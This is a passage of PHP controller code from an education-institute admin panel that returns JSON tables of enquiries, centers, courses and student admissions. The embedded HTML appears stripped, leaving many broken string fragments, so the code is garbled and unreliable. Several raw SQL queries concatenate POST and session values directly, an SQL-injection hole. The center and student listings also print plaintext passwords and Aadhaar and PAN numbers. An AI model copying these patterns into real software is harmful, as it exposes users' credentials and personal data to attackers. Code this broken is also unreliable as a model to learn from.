  • $order.'" remove_brand_id="'.$post->$order.'" remove_value="'.$row->Field.'" "> Remove
    • '; } }elseif($_SESSION['type'] == 1){ $delete = '
  • $order.'" remove_brand_id="'.$post->$order.'" remove_value="'.$row->Field.'" "> Remove
    • '; } $update = ''; if($_SESSION['type'] != 1){ $check_access = check_user_permission($_SESSION['loginid'],$database ); //echo $check_access->METHOD_STATUS; if($check_access->PERMISSION_EDIT == 1){ $update = '
  • Update
    • '; } }elseif($_SESSION['type'] == 1){ $update = '
  • Update
    • '; } $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function menu_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_menu_list($company_id,$status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_menu_list($limit, $start, $order, $dir,$company_id,$status); } else { $search = $this->input->post('search')['value']; $posts = menu_list_search($limit, $start, $search, $order, $dir,$company_id,$status); $totalFiltered = menu_list_search_count($search,$company_id,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->MENU_STATUS == 0){ $check = 'checked'; }else{ $check = ''; } // $menu_status = $this->db->query("SELECT * FROM `link_page` WHERE `menu` = '" . $post->id . "' AND `submenu` = 0 AND `subsubmenu` = 0")->row(); $count_menu = $this->db->get_where('menu_items',['parent_id'=>$post->id])->num_rows(); if($count_menu > 0) { $status = ''; }else{ $status = ' UPDATE SEO '; } $nestedData['SR_NO'] = $i; $nestedData['MENU_NAME'] = ''; $nestedData['MENU_ORDER'] = ''; $nestedData['MENU_SHOW_HIDE'] = ''; $nestedData['ACTION'] = $status; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function all_page_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_page_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_page_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = page_list_search($limit, $start, $search, $order, $dir); $totalFiltered = page_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $post->id; $nestedData['IMAGE'] = $post->title; $nestedData['TITLE'] = $post->description; $nestedData['URL'] = ''.$_SERVER['SERVER_NAME'].'/page-name/'.$post->id.''; $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*----------------------------------- start enquiry --------------------------------------------------------------------------------------*/ public function pending_enquiry() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); if($_SESSION['type'] == 1){ $center = 'all'; $type=$_SESSION['type']; }else{ $type=$_SESSION['type']; $center = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row('id'); } $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status=$_POST['status']; // die(var_dump($status)); $totalData = count_all_pending_list($status,$type,$center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_pending_list($limit, $start, $order, $dir,$status,$type,$center); } else { $search = $this->input->post('search')['value']; $posts = pending_list_search($limit, $start, $search, $order, $dir,$status,$type,$center); $totalFiltered = pending_list_search_count($search,$status,$type,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status==0){ $status='PENDING'; }elseif($post->status==1){ $status='APPROVE '; }else{ $status='CANCEL'; } $nestedData['SR_NO'] = $i; $nestedData['ENQ_DATE'] = date('Y-m-d',strtotime($post->enquiry_date)); $nestedData['FOLLOW_DATE'] = date('Y-m-d',strtotime($post->followup)); $nestedData['NAME'] = $post->name; $nestedData['EMAIL'] = $post->emailid; $nestedData['MOBILE'] = $post->mobile; $nestedData['DOB'] = $post->dob; $nestedData['COURSE'] = $post->course_name; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['REMARKS'] = @$post->remarks; $nestedData['SOURCE'] = @$post->source; $nestedData['STATUS'] = $status; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // all enquiry public function all_enquiry() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); if($_SESSION['type'] == 1){ $center = 'all'; $type=$_SESSION['type']; }else{ $type=$_SESSION['type']; $center = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row('id'); } $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status=0; // die(var_dump($status)); $totalData = count_all_enquiry_list($status,$center,$type); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_enquiry_list($limit, $start, $order, $dir,$status,$center,$type); } else { $search = $this->input->post('search')['value']; $posts = enquiry_list_search($limit, $start, $search, $order, $dir,$status,$center,$type); $totalFiltered = enquiry_list_search_count($search,$status,$center,$type); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status==0){ $status='PENDING'; }elseif($post->status==1){ $status='APPROVE '; }else{ $status='CANCEL'; } $nestedData['SR_NO'] = $i; $nestedData['ENQ_DATE'] = date('Y-m-d',strtotime($post->enquiry_date)); $nestedData['FOLLOW_DATE'] = date('Y-m-d',strtotime($post->followup)); $nestedData['NAME'] = $post->name; $nestedData['EMAIL'] = $post->emailid; $nestedData['MOBILE'] = $post->mobile; $nestedData['DOB'] = $post->dob; $nestedData['COURSE'] = $post->course_name; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['REMARKS'] = @$post->remarks; $nestedData['SOURCE'] = @$post->source; $nestedData['STATUS'] = $status; $nestedData['ACTION'] = ' APPROVE REJECT '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*----------------------------------- end enquiry -----------------------------------------------------------------------------------------*/ /*---------------------- START CENTER LIST ------------------------------------------------*/ public function center_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', 18 => 'MEASUREMENT_NAME', 19 => 'MEASUREMENT_NAME', 20 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $totalData = count_all_center_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_center_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = center_list_search($limit, $start, $search, $order, $dir); $totalFiltered = center_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $image = '
    '; if($post->status ==1){ $status = ''.$post->name.' (ACTIVE)'; }else{ $status = ''.$post->name.' (IN-ACTIVE)'; } $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['OWNER_NAME'] = $status; $nestedData['INSTITUTE_NAME'] = $post->institute_name; $nestedData['DOB'] = $post->dob; $nestedData['PANCARD'] = $post->pan_number; $nestedData['AADHAR_CARD'] = $post->aadhar_number; $nestedData['INSTITUTE_ADDRESS'] = $post->center_full_address; $nestedData['STATE'] = @$post->STATE_NAME; $nestedData['DISTRICT'] = @$post->DISTRICT_NAME; $nestedData['CLASS_ROOMS'] = $post->no_of_class_room; $nestedData['INSTITTUTE_HEAD'] = $post->qualification_of_center_head; $nestedData['RECEPTION'] = $post->reception; $nestedData['STAFF'] = $post->staff_room; $nestedData['WATER_SUPPLY'] = $post->water_supply; $nestedData['TOILET'] = $post->toilet; $nestedData['PASSWORD'] = @''.$post->email_id.' ('.$post->center_password.') '; $nestedData['CITY_NAME'] = $post->city_name; $nestedData['MOBILE'] = $post->contact_number; $nestedData['EMAIL'] = $post->email_id; $nestedData['SEAT_CAPACITY'] = $post->space_of_computer_center; $nestedData['COMPUTER_LAB'] = $post->no_of_computer_operator; $nestedData['FIRST_AID'] = $post->first_aid; $nestedData['ACTION'] = ' UPDATE ACTIVE/DEACTIVE REMOVE '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*----------------------- END CENTER LIST --------------------------------------------------*/ public function list_category() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_category_type($company_id,$status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_category_type($limit, $start, $order, $dir,$company_id,$status); } else { $search = $this->input->post('search')['value']; $posts = category_type_search($limit, $start, $search, $order, $dir,$company_id,$status); $totalFiltered = category_type_search_count($search,$company_id,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->CAT_IMAGE != '') { $blog_image = '
    '; }else{ $blog_image = '
    '; } $nestedData['SR_NO'] = $i; $nestedData['BRAND_IMAGE'] = $blog_image; $nestedData['BRAND_NAME'] = $post->CATEGORY_NAME; $nestedData['BRAND_PDF'] = ' Download '; $nestedData['ACTION'] = ' UPDATE CAT_ID.'" remove_rc_id="'.$post->CAT_ID.'" "> Remove '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function list_course() { $columns = array( 0 => 'SR_NO', 1 => 'COURSE_CATEGORY', 2 => 'COURSE_CATEGORY', 3 => 'COURSE_CATEGORY', 4 => 'COURSE_CATEGORY', 5 => 'COURSE_CATEGORY', 6 => 'COURSE_CATEGORY', 7 => 'COURSE_CATEGORY', 8 => 'COURSE_CATEGORY', 9 => 'COURSE_CATEGORY', 10 => 'COURSE_CATEGORY', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = $_POST['status']; $page_name = 1; $totalData = count_all_course_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_course_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = course_list_search($limit, $start, $search, $order, $dir); $totalFiltered = course_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { // if ($post->BLOG_STATUS != '1') { // $status = 'Pending'; // }else{ // $status = 'Published'; // } if ($post->image != '') { $blog_image = '
    '; }else{ $blog_image = '
    '; } if(@$post->type==1){ $type='monthly'; $duration=@$post->duration.' - MONTHS'; }elseif(@$post->type==2){ $type='yearly'; $duration=@$post->years.' - YEARS'; } $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = $blog_image; $nestedData['COURSE_CATEGORY'] = $post->CATEGORY_NAME; $nestedData['COURSE_NAME'] = $post->course_name; $nestedData['COURSE_TYPE'] = $type; $nestedData['COURSE_DURATION'] = $post->CD_NAME; $nestedData['COURSE_CODE'] = $post->course_code; $nestedData['MIN_QUALIFICATION'] = $post->MIN_QUALIFICATION; if($post->COURSE_MARKSHEET == 1){ $marksheet_status = 'checked="checked"'; }else{ $marksheet_status = ''; } if($post->COURSE_CERTIFICATE == 1){ $course_certificate = 'checked'; }else{ $course_certificate = ''; } if($post->COURSE_TC == 1){ $tc = 'checked'; }else{ $tc = ''; } if($post->COURSE_REG_CER == 1){ $reg_cer = 'checked'; }else{ $reg_cer = ''; } $nestedData['MARKSHEET_STATUS'] = ''; $nestedData['TC_STATUS'] = ''; $nestedData['MIGRATION'] = ''; $nestedData['REGISTRATION'] = ''; $nestedData['ACTION'] = ' UPDATE DELETE '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function get_duration() { $response = get_all_duration($_POST['duration_id']); json_output(200, $response); } public function get_category() { $response = get_category_by_brand($_POST['brandid']); json_output(200, $response); } public function get_course_type() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $course = $this->db->query("SELECT * FROM `courses` WHERE `id` = '".$_POST['course_id']."' ")->row(); $response = $this->db->query("SELECT * FROM course_duration_list where CDL_COURSE_ID = '".$course->duration."'")->result(); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } public function list_subjects() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_subject_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_subject_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = subject_list_search($limit, $start, $search, $order, $dir); $totalFiltered = subject_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['CATEGORY_NAME'] = $post->CATEGORY_NAME; $nestedData['COURSE_NAME'] = $post->course_name.' '.$post->CDL_NAME.' '; $nestedData['DURATION'] = $post->CD_NAME; $nestedData['SUBJECT_NAME'] = $post->subject_name; $nestedData['SUBJECT_CODE'] = $post->SUBJECT_CODE; $nestedData['THEORY_MAX'] = $post->max_marks; $nestedData['THEORY_MIN'] = $post->min_marks; $nestedData['PRACTICAL_MAX'] = $post->practical_max_marks; $nestedData['PRACTICAL_MIN'] = $post->practical_min_marks; $nestedData['ACTION'] = ' UPDATE Remove '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function student_pending_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', // 18 => 'MEASUREMENT_NAME', 19 => 'MEASUREMENT_NAME', 20=> 'MEASUREMENT_NAME', 21 => 'MEASUREMENT_NAME', 22 => 'MEASUREMENT_NAME', 23 => 'MEASUREMENT_NAME', 24=> 'MEASUREMENT_NAME', 25=> 'MEASUREMENT_NAME', 26=> 'MEASUREMENT_NAME', 27 => 'MEASUREMENT_NAME', 28 => 'MEASUREMENT_NAME', 29 => 'MEASUREMENT_NAME', 30 => 'MEASUREMENT_NAME', 31 => 'MEASUREMENT_NAME', 32 => 'MEASUREMENT_NAME', 33 => 'MEASUREMENT_NAME', 34 => 'MEASUREMENT_NAME', // ); $limit = $this->input->post('length'); $start = $this->input->post('start'); // die(var_dump($start)); $order = $columns[$this->input->post('order')[0]['column']]; //$dir = $this->input->post('order')[0]['dir']; $dir = 'Desc'; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_all_student_pending_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_student_pending_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = student_pending_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = student_pending_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->pay_status == 0){ $status = 'PENDING'; }else{ $status = 'CANCEL'; } $image = '
    '; $image2 = '
    '; $image3 = '
    '; /** $nestedData['SR_NO'] = $i; $nestedData['ENTOLLMENT'] = $post->enrollment_no; $nestedData['STUDENT_NAME'] = $post->student_name; $nestedData['GENDER'] = $post->address; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->student_dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['STATE'] = @$post->state; $nestedData['DISTRICT'] = @$post->distric; $nestedData['EXAM_PASS'] = $post->category; $nestedData['MARKS'] = $post->disability; $nestedData['USER_NAME'] = $post->username; $nestedData['COURSE_NAME'] = $post->course_name; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['CITY'] = $post->city; $nestedData['PINCODE'] = $post->pincode; $nestedData['HIGHEST_QUALIFICATION'] = $post->highest_qualification; $nestedData['PASSING_YEAR'] = $post->passing_year; $nestedData['ADHAR_NUMBER'] = $post->adhar_number; $nestedData['PHOTO'] = $image; $nestedData['SIG'] = $image2; $nestedData['LEFT_THUMB'] = $image3; $nestedData['STATUS'] = $status;*/ /*MY CODE*/ $image4 = '
    '; $image5 = '
    '; $image6 = '
    '; $image7 = '
    '; $image8 = '
    '; $nestedData['SR_NO'] = $i; $nestedData['ENROLLMENT'] = $post->enrollment_no; // $nestedData['ADD_DATE'] = date("d-m-Y", strtotime($post->timestamp)); $nestedData['P_SERIAL_NO'] = $post->PROSPECTUS_SERIAL_NO; $nestedData['CATEGORY'] = $post->CATEGORY_NAME; $nestedData['COURSE_NAME'] = $post->course_name; $nestedData['BATCH'] = $post->BATCH_NAME; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['STUDENT_NAME'] = $post->student_name; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['FATHER_NAME'] = $post->father; $nestedData['DOB'] = ''.date("d-m-Y", strtotime($post->student_dob)).'' ; $nestedData['EMAIL'] = $post->email; $nestedData['MOBILE'] = $post->mobile; $nestedData['BLOOD_GROUP'] = $post->BG_NAME; $nestedData['ADDRESS'] = $post->address; $nestedData['COUTNRY'] = $post->COUNTRY_NAME; $nestedData['STATE'] = @$post->STATE_NAME; $nestedData['DISTRICT'] = @$post->DISTRICT_NAME; $nestedData['CITY'] = $post->city; $nestedData['GENDER'] = $post->GENDER_NAME; $nestedData['NATIONALITY'] = @$post->NATIONALITY_NAME; $nestedData['PARENT_OCCUPATION'] = @$post->BUSINESS_NAME; $nestedData['MEDIUM'] = $post->MEDIUM_NAME; $nestedData['COMMUNITY'] = $post->CAST_NAME; $nestedData['MARITAL_STATUS'] = $post->MS_NAME; $nestedData['MOTHER_TONGUE'] = $post->language; $nestedData['RELIGION'] = $post->RELIGION_NAME; $nestedData['PINCODE'] = $post->PINCODE; $nestedData['HIGHEST_QUALIFICATION'] = $post->highest_qualification; // $nestedData['ADHAR_NUMBER'] = $post->adhar_number; $nestedData['REG_NO'] = $post->reg_no; $nestedData['SUBJECT'] = $post->subject; $nestedData['BOARD'] = $post->city; $nestedData['PASSING_YEAR'] = $post->passing_year; $nestedData['PERCENTAGE'] = $post->marks; // $nestedData['DISABILITY'] = $post->disability; $nestedData['USER_NAME'] = $post->email; $nestedData['PHOTO'] = $image; $nestedData['TENTH'] = $image4; $nestedData['TWELTH'] = $image5; $nestedData['GRADUATION'] =$image6; $nestedData['OTHER'] = $image7; $nestedData['SIG'] = $image2; $nestedData['ADHAAR'] = $image8; // $nestedData['LEFT_THUMB'] = $image3; $nestedData['STATUS'] = $status; /*END OF CODE*/ if($_SESSION['type'] == 1){ $approve_status = ' APPROVE ADMISSION '; }else{ $approve_status = ''; } $nestedData['ACTION'] = ' '.$approve_status.' DOWNLAOD FORM UPDATE CANCEL ADMISSION '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // student approve list public function student_approve_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = 'DESC'; //$dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_all_student_approve_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_student_approve_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = student_approve_list_search($limit, $start, $search,$order,$dir,$center); $totalFiltered = student_approve_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->pay_status == 1){ $status = 'APPROVE'; $enrollment = ''.$post->enroll.'
    ( '.date("d-m-Y", strtotime($post->addmission_date)) .' )'; $payment = ' Paid '.$post->BATCH_NAME.' '; }else{ $status = 'CANCEL'; $enrollment = ''.$post->enroll.'
    ( '.date("d-m-Y", strtotime($post->addmission_date)) .' )    '; $payment = ' Pending '.$post->BATCH_NAME.' '; } $image = '
    '; $image2 = '
    '; $image3 = '
    '; $center_name = '
    '.$post->institute_name.' '; /*MY CODE*/ $image4 = '
    '; $image5 = '
    '; $image6 = '
    '; $image7 = '
    '; $image8 = '
    '; if($_SESSION['type'] == 1){ $approve_status = ' CANCEL '; }else{ $approve_status = ''; } if($_SESSION['type'] == 1){ if($_SESSION['type'] == 1 && $post->STUDENT_CERTFICATE == 0){ $print_cer = ' GENERATED CERTIFICATE '; }else{ $print_cer = ' CERTIFICATE GENERATED '; } if($_SESSION['type'] == 1 && $post->STUDENT_TC == 0){ $print_tc = ' GENERATED TC '; }else{ $print_tc = ' TC GENERATED '; } }else{ $print_cer = ''; $print_tc = ''; } $nestedData['SR_NO'] = $i.'
    PS NO : '.$post->PROSPECTUS_SERIAL_NO.''; $nestedData['ACTION'] = ' '.$approve_status.' UPDATE FORM
    REG. SLIP '.$print_tc.'
    '.$print_cer.' '; $nestedData['ENROLLMENT'] = $enrollment.'
    ( '.$post->center_number.' ) '; $nestedData['STUDENT_NAME'] = ' '.$post->student_name.'
    BATCH : '.$post->BATCH_NAME.' '.$center_name.' '; $nestedData['CATEGORY'] = '
    '.$post->CATEGORY_NAME.'

    '.$post->course_name.'
    '; /* $nestedData['COURSE_NAME'] = '
    '.$post->course_name.'
    '; $nestedData['P_SERIAL_NO'] = $post->PROSPECTUS_SERIAL_NO; */ $nestedData['CENTER_NAME'] = '
    '.$post->institute_name.'
    '; // $nestedData['STUDENT_NAME'] = $post->student_name; // $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['FATHER_NAME'] = $post->father.'
    '.$post->mother; $nestedData['DOB'] = ''.date("d-m-Y", strtotime($post->student_dob)).'' ; $nestedData['EMAIL'] = $post->email; $nestedData['MOBILE'] = $post->mobile; $nestedData['BLOOD_GROUP'] = $post->BG_NAME; $nestedData['ADDRESS'] = '
    '.$post->address.' ('.$post->city.' - '.$post->DISTRICT_NAME.') ('.$post->STATE_NAME.' - '.$post->COUNTRY_NAME.')
    '; /* $nestedData['COUTNRY'] = $post->COUNTRY_NAME; $nestedData['STATE'] = @$post->STATE_NAME; $nestedData['DISTRICT'] = @$post->DISTRICT_NAME; $nestedData['CITY'] = $post->city; */ $nestedData['GENDER'] = $post->GENDER_NAME; $nestedData['NATIONALITY'] = @$post->NATIONALITY_NAME; $nestedData['PARENT_OCCUPATION'] = @$post->BUSINESS_NAME; $nestedData['MEDIUM'] = $post->MEDIUM_NAME; $nestedData['COMMUNITY'] = $post->CAST_NAME; $nestedData['MARITAL_STATUS'] = $post->MS_NAME; $nestedData['MOTHER_TONGUE'] = $post->language; $nestedData['RELIGION'] = $post->RELIGION_NAME; $nestedData['PINCODE'] = $post->PINCODE; $nestedData['HIGHEST_QUALIFICATION'] = $post->highest_qualification; // $nestedData['ADHAR_NUMBER'] = $post->adhar_number; $nestedData['REG_NO'] = $post->reg_no; $nestedData['SUBJECT'] = $post->subject; $nestedData['BOARD'] = $post->city; $nestedData['PASSING_YEAR'] = $post->passing_year; $nestedData['PERCENTAGE'] = $post->marks.'%'; // $nestedData['DISABILITY'] = $post->disability; $nestedData['USER_NAME'] = $post->email.'
    '.$post->STUDENT_PASSWORD; $nestedData['REG'] = 'VHTEC/'.@$post->course_code.'/'.@$post->sr_no.'/'.@$post->start; $nestedData['PHOTO'] = $image; $nestedData['TENTH'] = $image4; $nestedData['TWELTH'] = $image5; $nestedData['GRADUATION'] =$image6; $nestedData['OTHER'] = $image7; $nestedData['SIG'] = $image2; $nestedData['ADHAAR'] = $image8; // $nestedData['LEFT_THUMB'] = $image3; $nestedData['STATUS'] = $status; /*END OF CODE*/ $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // student cancel list public function student_cancel_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 